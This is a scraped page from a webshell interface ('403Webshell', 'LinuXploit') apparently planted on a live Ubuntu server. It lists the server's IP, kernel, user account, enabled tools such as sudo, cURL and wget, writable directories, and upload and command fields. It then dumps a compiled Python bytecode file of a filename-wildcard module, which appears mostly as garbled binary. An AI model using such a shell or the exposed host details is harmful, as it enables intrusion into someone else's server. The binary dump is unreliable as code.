403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/fs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/fs/__pycache__/wildcard.cpython-312.pyc
�

��obp���dZddlmZmZddlZddlZddlmZddlm	Z	ejrddlmZmZm
Z
mZmZe	d�Zd	�Zd
�Zd�Zd�Zd
�Zdd�Zy)zMatch wildcard filenames.
�)�print_function�unicode_literalsN)�partial�)�LRUCache)�Callable�Iterable�Pattern�Text�Tuplei�c��	t|df}|j|�duS#t$r4dt|�zdz}tj|�xt|df<}Y�OwxYw)z�Test whether a name matches a wildcard pattern.

    Arguments:
        pattern (str): A wildcard pattern, e.g. ``"*.py"``.
        name (str): A filename.

    Returns:
        bool: `True` if the filename matches the pattern.

    T�(?ms)�\ZN)�_PATTERN_CACHE�KeyError�
_translate�re�compile�match��pattern�name�re_pat�ress    �-/usr/lib/python3/dist-packages/fs/wildcard.pyrrsn��C���$��0���<�<���T�)�)���C��
�7�+�+�e�3��35�:�:�c�?�B�����'�&�C�s� �:A�Ac���	t|df}|j
|�duS#t$rEdt|d��zdz}tj|tj
�xt|df<}Y�`wxYw)z�Test whether a name matches a wildcard pattern (case insensitive).

    Arguments:
        pattern (str): A wildcard pattern, e.g. ``"*.py"``.
        name (bool): A filename.

    Returns:
        bool: `True` if the filename matches the pattern.

    Fr)�case_sensitiverN)rrrrr�
IGNORECASErrs    r�imatchr)sy��S���%� 0�1���<�<���T�)�)���S��
�7�5�A�A�E�I��46�J�J�s�B�M�M�4R�R����'�(�6�S�s� �AA.�-A.c�2��|syt�fd�|D��S)aQTest if a name matches any of a list of patterns.

    Will return `True` if ``patterns`` is an empty list.

    Arguments:
        patterns (list): A list of wildcard pattern, e.g ``["*.py",
            "*.pyc"]``
        name (str): A filename.

    Returns:
        bool: `True` if the name matches at least one of the patterns.

    Tc3�6�K�|]}t|�����y�w�N)r��.0rrs  �r�	<genexpr>zmatch_any.<locals>.<genexpr>Ns�����<��u�W�d�#�<�����any��patternsrs `r�	match_anyr+=s������<�8�<�<�<�c�2��|syt�fd�|D��S)adTest if a name matches any of a list of patterns (case insensitive).

    Will return `True` if ``patterns`` is an empty list.

    Arguments:
        patterns (list): A list of wildcard pattern, e.g ``["*.py",
            "*.pyc"]``
        name (str): A filename.

    Returns:
        bool: `True` if the name matches at least one of the patterns.

    Tc3�6�K�|]}t|�����y�wr")rr#s  �rr%zimatch_any.<locals>.<genexpr>bs�����=��v�g�t�$�=�r&r'r)s `r�
imatch_anyr/Qs������=�H�=�=�=r,c�P�|sd�S|rtt|�Stt|�S)a�Get a callable that matches names against the given patterns.

    Arguments:
        patterns (list): A list of wildcard pattern. e.g. ``["*.py",
            "*.pyc"]``
        case_sensitive (bool): If ``True``, then the callable will be case
            sensitive, otherwise it will be case insensitive.

    Returns:
        callable: a matcher that will return `True` if the name given as
        an argument matches any of the given patterns.

    Example:
        >>> from fs import wildcard
        >>> is_python = wildcard.get_matcher(['*.py'], True)
        >>> is_python('__init__.py')
        True
        >>> is_python('foo.txt')
        False

    c��y)NT�)rs r�<lambda>zget_matcher.<locals>.<lambda>}s�r,)rr+r/)r*rs  r�get_matcherr4es*��.� � ���y�(�+�+��z�8�,�,r,c��|s|j�}dt|�}}d}||kr�||}|dz}|dk(r|dz}n�|dk(r|dz}n�|dk(r�|}||kr
||d	k(r|dz}||kr
||d
k(r|dz}||kr||d
k7r|dz}||kr	||d
k7r�||k\r|dz}nY|||jdd
�}|dz}|dd	k(r	d|ddz}n
|ddk(rd|z}|�d|�d
�}n|tj|�z}||kr��|S)aUTranslate a wildcard pattern to a regular expression.

    There is no way to quote meta-characters.

    Arguments:
        pattern (str): A wildcard pattern.
        case_sensitive (bool): Set to `False` to use a case
            insensitive regex (default `True`).

    Returns:
        str: A regex equivalent to the given pattern.

    r�r�*z[^/]*�?�.�[�!�]z\[�\z\\�^N)�lower�len�replacer�escape)rr�i�nr�c�j�stuffs        rrr�sY����-�-�/���c�'�l�q�A�
�C�
�a�%��A�J��
��E����8���-�C�
�#�X���)�C�
�#�X��A��1�u����s�*���E���1�u����s�*���E���a�%�G�A�J�#�-���E���a�%�G�A�J�#�-��A�v��E�k����!��,�,�T�6�:����E����8�s�?��%���)�O�E��1�X��_� �5�L�E�"%�u�-����	�	�!��$�C�5�a�%�6�Jr,)T)�__doc__�
__future__rr�typingr�	functoolsr�lrucacher�
TYPE_CHECKINGrr	r
rrrrrr+r/r4rr2r,r�<module>rNsS���8�
�	���	���?�?��$���*�(*�(=�(>�(-�>.r,

Youez - 2016 - github.com/yon3zu
LinuXploit